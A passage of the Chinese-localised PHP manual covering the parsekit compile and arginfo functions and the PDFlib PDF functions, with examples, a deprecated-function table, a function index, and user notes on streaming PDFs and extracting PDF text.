  [0]=>
  string(37) "ZEND_ECHO UNUSED 'Hello World' UNUSED"
  [1]=>
  string(30) "ZEND_RETURN UNUSED NULL UNUSED"
  [2]=>
  string(42) "ZEND_HANDLE_EXCEPTION UNUSED UNUSED UNUSED"
  ["function_table"]=>
  NULL
  ["class_table"]=>
  NULL
}

参见

parsekit_compile_string()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Parsekit Functions | 上一级 | parsekit_compile_string


parsekit_compile_string

(PECL)

parsekit_compile_string -- Compile a string of PHP code and return the resulting op array

说明

array parsekit_compile_string ( string phpcode [, array &errors [, int options]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

phpcode

A string containing phpcode. Similar to the argument to eval().

errors

A 2D hash of errors (including fatal errors) encountered during compilation. Returned by reference.

options

One of either PARSEKIT_QUIET or PARSEKIT_SIMPLE. To produce varying degrees of verbosity in the returned output.

返回值

Returns a complex multi-layer array structure as detailed below.

范例

例子 1. parsekit_compile_string() example

<?php
  $ops = parsekit_compile_string('
echo "Foo\n";
', $errors, PARSEKIT_QUIET);

  var_dump($ops);
?>

上例将输出：

array(20) {
  ["type"]=>
  int(4)
  ["type_name"]=>
  string(14) "ZEND_EVAL_CODE"
  ["fn_flags"]=>
  int(0)
  ["num_args"]=>
  int(0)
  ["required_num_args"]=>
  int(0)
  ["pass_rest_by_reference"]=>
  bool(false)
  ["uses_this"]=>
  bool(false)
  ["line_start"]=>
  int(0)
  ["line_end"]=>
  int(0)
  ["return_reference"]=>
  bool(false)
  ["refcount"]=>
  int(1)
  ["last"]=>
  int(3)
  ["size"]=>
  int(3)
  ["T"]=>
  int(0)
  ["last_brk_cont"]=>
  int(0)
  ["current_brk_cont"]=>
  int(-1)
  ["backpatch_count"]=>
  int(0)
  ["done_pass_two"]=>
  bool(true)
  ["filename"]=>
  string(17) "Parsekit Compiler"
  ["opcodes"]=>
  array(3) {
    [8594800]=>
    array(5) {
      ["opcode"]=>
      int(40)
      ["opcode_name"]=>
      string(9) "ZEND_ECHO"
      ["flags"]=>
      int(768)
      ["op1"]=>
      array(3) {
        ["type"]=>
        int(1)
        ["type_name"]=>
        string(8) "IS_CONST"
        ["constant"]=>
        &string(4) "Foo
"
      }
      ["lineno"]=>
      int(2)
    }
    ["859484C"]=>
    array(6) {
      ["opcode"]=>
      int(62)
      ["opcode_name"]=>
      string(11) "ZEND_RETURN"
      ["flags"]=>
      int(16777984)
      ["op1"]=>
      array(3) {
        ["type"]=>
        int(1)
        ["type_name"]=>
        string(8) "IS_CONST"
        ["constant"]=>
        &NULL
      }
      ["extended_value"]=>
      int(0)
      ["lineno"]=>
      int(3)
    }
    [8594898]=>
    array(4) {
      ["opcode"]=>
      int(149)
      ["opcode_name"]=>
      string(21) "ZEND_HANDLE_EXCEPTION"
      ["flags"]=>
      int(0)
      ["lineno"]=>
      int(3)
    }
  }
}

参见

parsekit_compile_file()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
parsekit_compile_file | 上一级 | parsekit_func_arginfo


parsekit_func_arginfo

(PECL)

parsekit_func_arginfo -- Return information regarding function argument(s)

说明

array parsekit_func_arginfo ( mixed function )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

function

A string describing a function, or an array describing a class/method.

返回值

Returns an array containing argument information.

范例

例子 1. parsekit_func_arginfo() example

<?php
function foo($bar, stdClass $baz, &$bomb, $bling = false) {
}

var_dump(parsekit_func_arginfo('foo'));
?>

上例将输出：

array(4) {
  [0]=>
  array(3) {
    ["name"]=>
    string(3) "bar"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(false)
  }
  [1]=>
  array(4) {
    ["name"]=>
    string(3) "baz"
    ["class_name"]=>
    string(8) "stdClass"
    ["allow_null"]=>
    bool(false)
    ["pass_by_reference"]=>
    bool(false)
  }
  [2]=>
  array(3) {
    ["name"]=>
    string(4) "bomb"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(true)
  }
  [3]=>
  array(3) {
    ["name"]=>
    string(5) "bling"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(false)
  }
}

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
parsekit_compile_string | 上一级 | PDF functions


PDF functions

PHP 手册
后退 前进

CV. PDF functions

简介

The PDF functions in PHP can create PDF files using the PDFlib library created by Thomas Merz.

The documentation in this section is only meant to be an overview of the available functions in the PDFlib library and should not be considered an exhaustive reference. Please consult the documentation included in the source distribution of PDFlib for the full and detailed explanation of each function here. It provides a very good overview of what PDFlib is capable of doing and contains the most up-to-date documentation of all functions.

All of the functions in PDFlib and the PHP module have identical function names and parameters. You will need to understand some of the basic concepts of PDF and PostScript to efficiently use this extension. All lengths and coordinates are measured in PostScript points. There are generally 72 PostScript points to an inch, but this depends on the output resolution. Please see the PDFlib documentation included with the source distribution of PDFlib for a more thorough explanation of the coordinate system used.

Please note that most of the PDF functions require a pdfdoc as its first parameter. Please see the examples below for more information.

注: If you're interested in alternative free PDF generators that do not utilize external PDF libraries, see this related FAQ.

注: This extension has been moved to PECL as of PHP 4.3.9.

需求

PDFlib is available for download at http://www.pdflib.com/products/pdflib/index.html, but requires that you purchase a license for commercial use. The JPEG and TIFF libraries are required to compile this extension.

Issues with older versions of PDFlib

Any version of PHP 4 after March 9, 2000 does not support versions of PDFlib older than 3.0.

PDFlib 3.0 or greater is supported by PHP 3.0.19 and later.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/pdflib.

To get these functions to work in PHP < 4.3.9, you have to compile PHP with --with-pdflib[=DIR]. DIR is the PDFlib base install directory, defaults to /usr/local. In addition you can specify the jpeg, tiff, and pnglibrary for PDFlib to use, which is optional for PDFlib 4.x. To do so add to your configure line the options --with-jpeg-dir[=DIR] --with-png-dir[=DIR] --with-tiff-dir[=DIR].

When using version 3.x of PDFlib, you should configure PDFlib with the option --enable-shared-pdflib.

As of PHP 4.3.9, you must install this extension through PEAR, using the following command: pear install pdflib.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

Confusion with old PDFlib versions

Starting with PHP 4.0.5, the PHP extension for PDFlib is officially supported by PDFlib GmbH. This means that all the functions described in the PDFlib manual (V3.00 or greater) are supported by PHP 4 with exactly the same meaning and the same parameters. Only the return values may differ from the PDFlib manual, because the PHP convention of returning FALSE was adopted. For compatibility reasons, this binding for PDFlib still supports the old functions, but they should be replaced by their new versions. PDFlib GmbH will not support any problems arising from the use of these deprecated functions.

表格 1. Deprecated functions and their replacements

Old function | Replacement
pdf_put_image() | Not needed anymore.
pdf_execute_image() | Not needed anymore.
pdf_get_annotation() | pdf_get_bookmark() using the same parameters.
pdf_get_font() | pdf_get_value() passing "font" as the second parameter.
pdf_get_fontsize() | pdf_get_value() passing "fontsize" as the second parameter.
pdf_get_fontname() | pdf_get_parameter() passing "fontname" as the second parameter.
pdf_set_info_creator() | pdf_set_info() passing "Creator" as the second parameter.
pdf_set_info_title() | pdf_set_info() passing "Title" as the second parameter.
pdf_set_info_subject() | pdf_set_info() passing "Subject" as the second parameter.
pdf_set_info_author() | pdf_set_info() passing "Author" as the second parameter.
pdf_set_info_keywords() | pdf_set_info() passing "Keywords" as the second parameter.
pdf_set_leading() | pdf_set_value() passing "leading" as the second parameter.
pdf_set_text_rendering() | pdf_set_value() passing "textrendering" as the second parameter.
pdf_set_text_rise() | pdf_set_value() passing "textrise" as the second parameter.
pdf_set_horiz_scaling() | pdf_set_value() passing "horizscaling" as the second parameter.
pdf_set_text_matrix() | Not available anymore
pdf_set_char_spacing() | pdf_set_value() passing "charspacing" as the second parameter.
pdf_set_word_spacing() | pdf_set_value() passing "wordspacing" as the second parameter.
pdf_set_transition() | pdf_set_parameter() passing "transition" as the second parameter.
pdf_open() | pdf_new() plus an subsequent call of pdf_open_file()
pdf_set_font() | pdf_findfont() plus an subsequent call of pdf_setfont()
pdf_set_duration() | pdf_set_value() passing "duration" as the second parameter.
pdf_open_gif() | pdf_open_image_file() passing "gif" as the second parameter.
pdf_open_jpeg() | pdf_open_image_file() passing "jpeg" as the second parameter.
pdf_open_tiff() | pdf_open_image_file() passing "tiff" as the second parameter.
pdf_open_png() | pdf_open_image_file() passing "png" as the second parameter.
pdf_get_image_width() | pdf_get_value() passing "imagewidth" as the second parameter and the image as the third parameter.
pdf_get_image_height() | pdf_get_value() passing "imageheight" as the second parameter and the image as the third parameter.

范例

Most of the functions are fairly easy to use. The most difficult part is probably creating your first PDF document. The following example should help to get you started. It creates test.pdf with one page. The page contains the text "Times Roman outlined" in an outlined, 30pt font. The text is also underlined.

例子 1. Creating a PDF document with PDFlib

<?php
$pdf = pdf_new();
pdf_open_file($pdf, "test.pdf");
pdf_set_info($pdf, "Author", "Uwe Steinmann");
pdf_set_info($pdf, "Title", "Test for PHP wrapper of PDFlib 2.0");
pdf_set_info($pdf, "Creator", "See Author");
pdf_set_info($pdf, "Subject", "Testing");
pdf_begin_page($pdf, 595, 842);
pdf_add_outline($pdf, "Page 1");
$font = pdf_findfont($pdf, "Times New Roman", "winansi", 1);
pdf_setfont($pdf, $font, 10);
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "Times Roman outlined", 50, 750);
pdf_moveto($pdf, 50, 740);
pdf_lineto($pdf, 330, 740);
pdf_stroke($pdf);
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);
echo "<A HREF=getpdf.php>finished</A>";
?>
The script getpdf.php just returns the pdf document.

例子 2. Outputting a precalculated PDF

<?php
$len = filesize($filename);
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=foo.pdf");
readfile($filename);
?>

The PDFlib distribution contains a more complex example which creates a page with an analog clock. Here we use the in-memory creation feature of PDFlib to alleviate the need to use temporary files. The example was converted to PHP from the PDFlib example. (The same example is available in the CLibPDF documentation.)

例子 3. pdfclock example from PDFlib distribution

<?php
$radius = 200;
$margin = 20;
$pagecount = 10;

$pdf = pdf_new();

if (!pdf_open_file($pdf, "")) {
    echo error;
    exit;
};

pdf_set_parameter($pdf, "warning", "true");

pdf_set_info($pdf, "Creator", "pdf_clock.php");
pdf_set_info($pdf, "Author", "Uwe Steinmann");
pdf_set_info($pdf, "Title", "Analog Clock");

while ($pagecount-- > 0) {
    pdf_begin_page($pdf, 2 * ($radius + $margin), 2 * ($radius + $margin));

    pdf_set_parameter($pdf, "transition", "wipe");
    pdf_set_value($pdf, "duration", 0.5);

    pdf_translate($pdf, $radius + $margin, $radius + $margin);
    pdf_save($pdf);
    pdf_setrgbcolor($pdf, 0.0, 0.0, 1.0);

    /* minute strokes */
    pdf_setlinewidth($pdf, 2.0);
    for ($alpha = 0; $alpha < 360; $alpha += 6) {
        pdf_rotate($pdf, 6.0);
        pdf_moveto($pdf, $radius, 0.0);
        pdf_lineto($pdf, $radius-$margin/3, 0.0);
        pdf_stroke($pdf);
    }

    pdf_restore($pdf);
    pdf_save($pdf);

    /* 5 minute strokes */
    pdf_setlinewidth($pdf, 3.0);
    for ($alpha = 0; $alpha < 360; $alpha += 30) {
        pdf_rotate($pdf, 30.0);
        pdf_moveto($pdf, $radius, 0.0);
        pdf_lineto($pdf, $radius-$margin, 0.0);
        pdf_stroke($pdf);
    }

    $ltime = getdate();

    /* draw hour hand */
    pdf_save($pdf);
    pdf_rotate($pdf,-(($ltime['minutes']/60.0)+$ltime['hours']-3.0)*30.0);
    pdf_moveto($pdf, -$radius/10, -$radius/20);
    pdf_lineto($pdf, $radius/2, 0.0);
    pdf_lineto($pdf, -$radius/10, $radius/20);
    pdf_closepath($pdf);
    pdf_fill($pdf);
    pdf_restore($pdf);

    /* draw minute hand */
    pdf_save($pdf);
    pdf_rotate($pdf,-(($ltime['seconds']/60.0)+$ltime['minutes']-15.0)*6.0);
    pdf_moveto($pdf, -$radius/10, -$radius/20);
    pdf_lineto($pdf, $radius * 0.8, 0.0);
    pdf_lineto($pdf, -$radius/10, $radius/20);
    pdf_closepath($pdf);
    pdf_fill($pdf);
    pdf_restore($pdf);

    /* draw second hand */
    pdf_setrgbcolor($pdf, 1.0, 0.0, 0.0);
    pdf_setlinewidth($pdf, 2);
    pdf_save($pdf);
    pdf_rotate($pdf, -(($ltime['seconds'] - 15.0) * 6.0));
    pdf_moveto($pdf, -$radius/5, 0.0);
    pdf_lineto($pdf, $radius, 0.0);
    pdf_stroke($pdf);
    pdf_restore($pdf);

    /* draw little circle at center */
    pdf_circle($pdf, 0, 0, $radius/30);
    pdf_fill($pdf);

    pdf_restore($pdf);

    pdf_end_page($pdf);

    # to see some difference
    sleep(1);
}

pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=foo.pdf");
echo $buf;

pdf_delete($pdf);
?>

参见

注: An alternative PHP module for PDF document creation based on FastIO's ClibPDF is available. Please see the ClibPDF section for details. Note that ClibPDF has a slightly different API than PDFlib.

目录
pdf_add_annotation -- Deprecated: Adds annotation
pdf_add_bookmark -- Adds bookmark for current page
pdf_add_launchlink -- Add a launch annotation for current page
pdf_add_locallink -- Add a link annotation for current page
pdf_add_note -- Sets annotation for current page
pdf_add_outline -- Deprecated: Adds bookmark for current page
pdf_add_pdflink -- Adds file link annotation for current page
pdf_add_thumbnail -- Adds thumbnail for current page
pdf_add_weblink -- Adds weblink for current page
pdf_arc -- Draws an arc (counterclockwise)
pdf_arcn -- Draws an arc (clockwise)
pdf_attach_file -- Adds a file attachment for current page
pdf_begin_page -- Starts new page
pdf_begin_pattern -- Starts new pattern
pdf_begin_template -- Starts new template
pdf_circle -- Draws a circle
pdf_clip -- Clips to current path
pdf_close_image -- Closes an image
pdf_close_pdi_page -- Close the page handle
pdf_close_pdi -- Close the input PDF document
pdf_close -- Closes a pdf resource
pdf_closepath_fill_stroke -- Closes, fills and strokes current path
pdf_closepath_stroke -- Closes path and draws line along path
pdf_closepath -- Closes path
pdf_concat -- Concatenate a matrix to the CTM
pdf_continue_text -- Outputs text in next line
pdf_curveto -- Draws a curve
pdf_delete -- Deletes a PDF object
pdf_end_page -- Ends a page
pdf_end_pattern -- Finish pattern
pdf_end_template -- Finish template
pdf_endpath -- Deprecated: Ends current path
pdf_fill_stroke -- Fills and strokes current path
pdf_fill -- Fills current path
pdf_findfont -- Prepare font for later use with pdf_setfont()
pdf_get_buffer -- Fetch the buffer containing the generated PDF data
pdf_get_font -- Deprecated: font handling
pdf_get_fontname -- Deprecated: font handling
pdf_get_fontsize -- Deprecated: font handling
pdf_get_image_height -- Deprecated: returns height of an image
pdf_get_image_width -- Deprecated: Returns width of an image
pdf_get_majorversion -- Returns the major version number of the PDFlib
pdf_get_minorversion -- Returns the minor version number of the PDFlib
pdf_get_parameter -- Gets certain parameters
pdf_get_pdi_parameter -- Get some PDI string parameters
pdf_get_pdi_value -- Gets some PDI numerical parameters
pdf_get_value -- Gets certain numerical value
pdf_initgraphics -- Resets graphic state
pdf_lineto -- Draws a line
pdf_makespotcolor -- Makes a spotcolor
pdf_moveto -- Sets current point
pdf_new -- Creates a new pdf resource
pdf_open_ccitt -- Opens a new image file with raw CCITT data
pdf_open_file -- Opens a new pdf object
pdf_open_gif -- Deprecated: Opens a GIF image
pdf_open_image_file -- Reads an image from a file
pdf_open_image -- Versatile function for images
pdf_open_jpeg -- Deprecated: Opens a JPEG image
pdf_open_memory_image -- Opens an image created with PHP's image functions
pdf_open_pdi_page -- Prepare a page
pdf_open_pdi -- Opens a PDF file
pdf_open_png -- Deprecated: Opens a PNG image
pdf_open_tiff -- Deprecated: Opens a TIFF image
pdf_open -- Deprecated: Open a new pdf object
pdf_place_image -- Places an image on the page
pdf_place_pdi_page -- Places an image on the page
pdf_rect -- Draws a rectangle
pdf_restore -- Restores formerly saved environment
pdf_rotate -- Sets rotation
pdf_save -- Saves the current environment
pdf_scale -- Sets scaling
pdf_set_border_color -- Sets color of border around links and annotations
pdf_set_border_dash -- Sets dash style of border around links and annotations
pdf_set_border_style -- Sets style of border around links and annotations
pdf_set_char_spacing -- Deprecated: Sets character spacing
pdf_set_duration -- Deprecated: Sets duration between pages
pdf_set_font -- Deprecated: Selects a font face and size
pdf_set_horiz_scaling -- Sets horizontal scaling of text [deprecated]
pdf_set_info_author -- Deprecated: Fills the author field of the document
pdf_set_info_creator -- Deprecated: Fills the creator field of the document
pdf_set_info_keywords -- Deprecated: Fills the keywords field of the document
pdf_set_info_subject -- Deprecated: Fills the subject field of the document
pdf_set_info_title -- Deprecated: Fills the title field of the document
pdf_set_info -- Fills a field of the document information
pdf_set_leading -- Deprecated: Sets distance between text lines
pdf_set_parameter -- Sets certain parameters
pdf_set_text_matrix -- Deprecated: Sets the text matrix
pdf_set_text_pos -- Sets text position
pdf_set_text_rendering -- Deprecated: Determines how text is rendered
pdf_set_text_rise -- Deprecated: Sets the text rise
pdf_set_value -- Sets certain numerical value
pdf_set_word_spacing -- Deprecated: Sets spacing between words
pdf_setcolor -- Sets fill and stroke color
pdf_setdash -- Sets dash pattern
pdf_setflat -- Sets flatness
pdf_setfont -- Set the current font
pdf_setgray_fill -- Sets filling color to gray value
pdf_setgray_stroke -- Sets drawing color to gray value
pdf_setgray -- Sets drawing and filling color to gray value
pdf_setlinecap -- Sets linecap parameter
pdf_setlinejoin -- Sets linejoin parameter
pdf_setlinewidth -- Sets line width
pdf_setmatrix -- Sets current transformation matrix
pdf_setmiterlimit -- Sets miter limit
pdf_setpolydash -- Deprecated: Sets complicated dash pattern
pdf_setrgbcolor_fill -- Sets filling color to rgb color value
pdf_setrgbcolor_stroke -- Sets drawing color to rgb color value
pdf_setrgbcolor -- Sets drawing and filling color to rgb color value
pdf_show_boxed -- Output text in a box
pdf_show_xy -- Output text at given position
pdf_show -- Output text at current position
pdf_skew -- Skews the coordinate system
pdf_stringwidth -- Returns width of text using current font
pdf_stroke -- Draws line along path
pdf_translate -- Sets origin of coordinate system

add a note add a note User Contributed Notes
phpguy at theos dot me dot uk
01-Mar-2006 09:17
On my system at least (debian stable) the command to install pdflib is not

pear install pdflib

but rather

pecl install pdflib
spingary at yahoo dot com
13-Jan-2006 04:55
I was having trouble with streaming inline PDf's using PHP 5.0.2, Apache 2.0.54.

This is my code:

<?
header("Pragma: public");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: must-revalidate");
header("Content-type: application/pdf");
header("Content-Length: ".filesize($file));
header("Content-disposition: inline; filename=$file");
header("Accept-Ranges: ".filesize($file));
readfile($file);
exit();
?>
It would work fine in Mozilla Firefox (1.0.7) but with IE (6.0.2800.1106) it would not bring up the Adobe Reader plugin and instead ask me to save it or open it as a PHP file.

Oddly enough, I turned off ZLib.compression and it started working.  I guess the compression is confusing IE.  I tried leaving out the content-length header thinking maybe it was unmatched filesize (uncompressed number vs actual received compressed size), but then without it it screws up Firefox too.

What I ended up doing was disabling Zlib compression for the PDF output pages using ini_set:

<?
ini_set('zlib.output_compression','Off');
?>

Maybe this will help someone. Will post over in the PDF section as well.
davedotmarshallatcspencerltddotcodotuk
08-Nov-2005 08:17
RE: thodge at ipswich dot qld dot gov dot au

I think the line:

   preg_match_all(
       '/(T[wdcm*])[\s]*(\[([^\]]*)\]|\(([^\)]*)\))[\s]*Tj/si',
       $postScriptData,
       $matches
   );

should read:

   preg_match_all(
       '/(T[wdcm*])[\s]*(\[([^\]]*)\]|\(([^\)]*)\))[\s]*Tj/si',
       $psData,
       $matches
   );
ontwerp AT zonnet.nl
04-Nov-2005 03:01
I was searching for a lowcost/opensource option for combining static html files [as templates] and dynamic output from perl or php routines etc. And the sooner or later I found out that this was the most stable, 'speedest' and customizeable way to produce usable pdf 's with nice formatting :

1] create html page output [perl-> html output, direct html output from any app or php echo's etc. [sort these html files locally]

2] parse all html [inluding webimages links, tables font formatting etc] to [E]PS files with the perl app : html2ps [as mentioned beneath]
http://user.it.uu.se/~jan/html2ps.html [sort all ps files by future pdf page positions]

3] use the free ps2pdf/ps2pdfwr linux application
http://www.ps2pdf.com/convert/index.htm [uses gostscript, ghostview libs and so on etc]
Has great formatting options like headers, footers, numbering etc
[sort pdf files]

4] convert all pdf files to 1 pdf file with : pdftk [pdftoolkit], deliveres optional compressions/encryption, background stamps etc

One should ask why using different scripts :
- combination perl/php is great : perl is speedier at some issues like conversion to ps files in my experience
- ps to pdf is quickier then direct php to pdf [in my exp.!]
- I have total control over every files whenever i change html files as a template I use only editors or other app. for it [online or offline].

p.s. I had to make a opensource solution for creating simpel report analyses that's based on things like :
- first page [name / title / #/ date]
- some static info [like introduction, copyrights etc]
- some dynamic info [outputted from php->dbase queries] combined
with html tags/images etc.

And this all mixed [so seperated in files for transparancy]. Also the 3 way manner : data-> html, html->ps, ps->pdf, is easier and quickier to program or adjust in every step.

Correct me if i'm wrong [mail me to]

ing. Valentijn Langendorff
Design & Technologist
g8z at yahoo dot com
16-Oct-2005 05:49
For anyone who's in need of a good HTML-to-PDF generator that uses PDFLib:

http://www.tufat.com/html2ps.php

This is free, GPL software, with 100% of the source code included.
ragnar at deulos dot com
08-Oct-2005 10:30
After one hole day understanding how pdflib works i got the conclusion that its enough hard to draw just with words to furthermore for drawing a line maybe you will need something like four lines of code, so i did my own functions to do the life easier and the code more understable to modify and draw. I also made a function that will draw a rect with the corners round and the posibility even to fill it ;)

You can get it from http://www.deulos.com/pdf_php.php

feel free to make suggestions or whatever u like ;o)
18-Sep-2005 02:26
some code that can be very helpful for starters.

<?php

   // Declare PDF File

   $pdf = pdf_new();
   PDF_open_file($pdf);

   // Set Document Properties

   PDF_set_info($pdf, "author", "Alexander Pas");
   PDF_set_info($pdf, "title", "PDF by PHP Example");
   PDF_set_info($pdf, "creator", "Alexander Pas");
   PDF_set_info($pdf, "subject", "Testing Code");

   // Get fonts to use

   pdf_set_parameter($pdf, "FontOutline", "Arial=arial.ttf"); // get a custom font
   $font1 = PDF_findfont($pdf, "Helvetica-Bold",  "winansi", 0); // declare default font
   $font2 = PDF_findfont($pdf, "Arial",  "winansi", 1); // declare custom font & embed into file

   /*
   You can use the following Fontypes 14 safely (the default fonts)
   Courier, Courier-Bold, Courier-Oblique, Courier-BoldOblique
   Helvetica, Helvetica-Bold, Helvetica-Oblique, Helvetica-BoldOblique
   Times-Roman, Times-Bold, Times-Italic, Times-BoldItalic
   Symbol, ZapfDingbats
   */

   // make the images

   $image1 = PDF_open_image_file($pdf, "gif", "image.gif"); //supported filetypes are: jpeg, tiff, gif, png.

   //Make First Page

   PDF_begin_page($pdf, 450, 450); // page width and height.
   $bookmark = PDF_add_bookmark($pdf, "Front"); // add a top level bookmark.
   PDF_setfont($pdf, $font1, 12); // use this font from now on.
   PDF_show_xy($pdf, "First Page!", 5, 225); // show this text measured from the left top.
   pdf_place_image($pdf, $image1, 255, 5, 1); // last number will schale it.
   PDF_end_page($pdf); // End of Page.

   //Make Second Page

   PDF_begin_page($pdf, 450, 225); // page width and height.
   $bookmark1 = PDF_add_bookmark($pdf, "Chapter1", $bookmark); // add a nested bookmark. (can be nested multiple times.)
   PDF_setfont($pdf, $font2, 12); // use this font from now on.
   PDF_show_xy($pdf, "Chapter1!", 225, 5);
   PDF_add_bookmark($pdf, "Chapter1.1", $bookmark1); // add a nested bookmark (already in a nested one).
   PDF_setfont($pdf, $font1, 12);
   PDF_show_xy($pdf, "Chapter1.1", 225, 5);
   PDF_end_page($pdf);

   // Finish the PDF File

   PDF_close($pdf); // End Of PDF-File.
   $output = PDF_get_buffer($pdf); // assemble the file in a variable.

   // Output Area

   header("Content-type: application/pdf"); //set filetype to pdf.
   header("Content-Length: ".strlen($output)); //content length
   header("Content-Disposition: attachment; filename=test.pdf"); // you can use inline or attachment.
   echo $output; // actual print area!

   // Cleanup

   PDF_delete($pdf);
?>
thodge at ipswich dot qld dot gov dot au
05-Sep-2005 01:22
Yet another addition to the PDF text extraction code last posted by jorromer. The code only seemed to work for PDF 1.2 (Acrobat 3.x) or below. This pdfExtractText function uses regular expressions to cover cases I have found in PDF 1.3 and 1.4 documents. The code also handles closing brackets in the text stream, which were ignored by the previous version. My regular expression skills are somewhat lacking, so improvements may possible by a more skilled programmer. I'm sure there are still cases that this function will not handle, but I haven't come across any yet...

<?php

function pdf2string($sourcefile) {

   $fp = fopen($sourcefile, 'rb');
   $content = fread($fp, filesize($sourcefile));
   fclose($fp);

   $searchstart = 'stream';
   $searchend = 'endstream';
   $pdfText = '';
   $pos = 0;
   $pos2 = 0;
   $startpos = 0;

   while ($pos !== false && $pos2 !== false) {

       $pos = strpos($content, $searchstart, $startpos);
       $pos2 = strpos($content, $searchend, $startpos + 1);

       if ($pos !== false && $pos2 !== false){

           if ($content[$pos] == 0x0d && $content[$pos + 1] == 0x0a) {
               $pos += 2;
           } else if ($content[$pos] == 0x0a) {
               $pos++;
           }

           if ($content[$pos2 - 2] == 0x0d && $content[$pos2 - 1] == 0x0a) {
               $pos2 -= 2;
           } else if ($content[$pos2 - 1] == 0x0a) {
               $pos2--;
           }

           $textsection = substr(
               $content,
               $pos + strlen($searchstart) + 2,
               $pos2 - $pos - strlen($searchstart) - 1
           );
           $data = @gzuncompress($textsection);
           $pdfText .= pdfExtractText($data);
           $startpos = $pos2 + strlen($searchend) - 1;

       }
   }

   return preg_replace('/(\s)+/', ' ', $pdfText);

}

function pdfExtractText($psData){

   if (!is_string($psData)) {
       return '';
   }

   $text = '';

   // Handle brackets in the text stream that could be mistaken for
   // the end of a text field. I'm sure you can do this as part of the
   // regular expression, but my skills aren't good enough yet.
   $psData = str_replace('\)', '##ENDBRACKET##', $psData);
   $psData = str_replace('\]', '##ENDSBRACKET##', $psData);

   preg_match_all(
       '/(T[wdcm*])[\s]*(\[([^\]]*)\]|\(([^\)]*)\))[\s]*Tj/si',
       $postScriptData,
       $matches
   );
   for ($i = 0; $i < sizeof($matches[0]); $i++) {
       if ($matches[3][$i] != '') {
           // Run another match over the contents.
           preg_match_all('/\(([^)]*)\)/si', $matches[3][$i], $subMatches);
           foreach ($subMatches[1] as $subMatch) {
               $text .= $subMatch;
           }
       } else if ($matches[4][$i] != '') {
           $text .= ($matches[1][$i] == 'Tc' ? ' ' : '') . $matches[4][$i];
       }
   }

   // Translate special characters and put back brackets.
   $trans = array(
       '...'                => '&hellip;',
       '\205'                => '&hellip;',
       '\221'                => chr(145),
       '\222'                => chr(146),
       '\223'                => chr(147),
       '\224'                => chr(148),
       '\226'                => '-',
       '\267'                => '&bull;',
       '\('                => '(',
       '\['                => '[',
       '##ENDBRACKET##'    => ')',
       '##ENDSBRACKET##'    => ']',
       chr(133)            => '-',
       chr(141)            => chr(147),
       chr(142)            => chr(148),
       chr(143)            => chr(145),
       chr(144)            => chr(146),
   );
   $text = strtr($text, $trans);

   return $text;

}

?>
29-Aug-2005 12:58
If you want to display the number of pages (for example: page 1 of 3) then the following code could be helpful:

<?php
...

$pdf->begin_page_ext(842,595 , "");
  .. add text,images,...
$pdf->suspend_page("");

$pdf->begin_page_ext(842,595 , "");
  .. add text,images,...
$pdf->suspend_page("");

... create all pages

$pdf->resume_page("pagenumber 1");
... add number of pages to page 1
$pdf->end_page_ext("");

$pdf->resume_page("pagenumber 2");
... add number of pages to page 2
$pdf->end_page_ext("");

...
?>
bg@msdotcom
07-Aug-2005 02:09
didn't see these mentioned:

another free pdf lib class in php
http://www.gnuvox.com/pdf4php/

another
http://www.potentialtech.com/ppl.php
jorromer at uchile dot cl -- Krash
08-Jun-2005 01:51
I recently use mattb code below for the extraction of text from PDF files. I modify this code for only extract text fields.

Hope i can help some one

Here is the Function

<?php

  $text = pdf2string("file.pdf");
  echo $text;

  function pdf2string($sourcefile){
   $fp = fopen($sourcefile, 'rb');
   $content = fread($fp, filesize($sourcefile));
   fclose($fp);

   $searchstart = 'stream';
   $searchend = 'endstream';
   $pdfdocument = '';
   $pos = 0;
   $pos2 = 0;
   $startpos = 0;

   while( $pos !== false && $pos2 !== false ){
     $pos = strpos($content, $searchstart, $startpos);
     $pos2 = strpos($content, $searchend, $startpos + 1);

     if ($pos !== false && $pos2 !== false){
       if ($content[$pos]==0x0d && $content[$pos+1]==0x0a) $pos+=2;
       else if ($content[$pos]==0x0a) $pos++;

       if ($content[$pos2-2]==0x0d && $content[$pos2-1]==0x0a) $pos2-=2;
       else if ($content[$pos2-1]==0x0a) $pos2--;

       $textsection = substr($content, $pos + strlen($searchstart) + 2, $pos2 - $pos - strlen($searchstart) - 1);
       $data = @gzuncompress($textsection);
       $data = ExtractText2($data);
       $startpos = $pos2 + strlen($searchend) - 1;

       if ($data === false){
         return -1;}

       $pdfdocument .= $data;}}
   return $pdfdocument;}

function ExtractText2($postScriptData){
  $sw = true;
  $textStart = 0;
  $len = strlen($postScriptData);

  while ($sw){
   $ini = strpos($postScriptData, '(', $textStart);
   $end = strpos($postScriptData, ')', $textStart+1);
   if (($ini>0) && ($end>$ini)){
     $valtext = strpos($postScriptData,'Tj',$end+1);
     if ($valtext == $end + 2)
       $text .= substr($postScriptData,$ini+1,$end - $ini - 1);}

   $textStart = $end + 1;
   if ($len<=$textStart) $sw=false;

   if (($ini == 0) && ($end == 0)) $sw=false;}

  $trans = array("\\341" => "a","\\351" => "e","\\355" => "i","\\363" => "o","\\223" => "","\\224" => "");
  $text  = strtr($text, $trans);
  return $text;
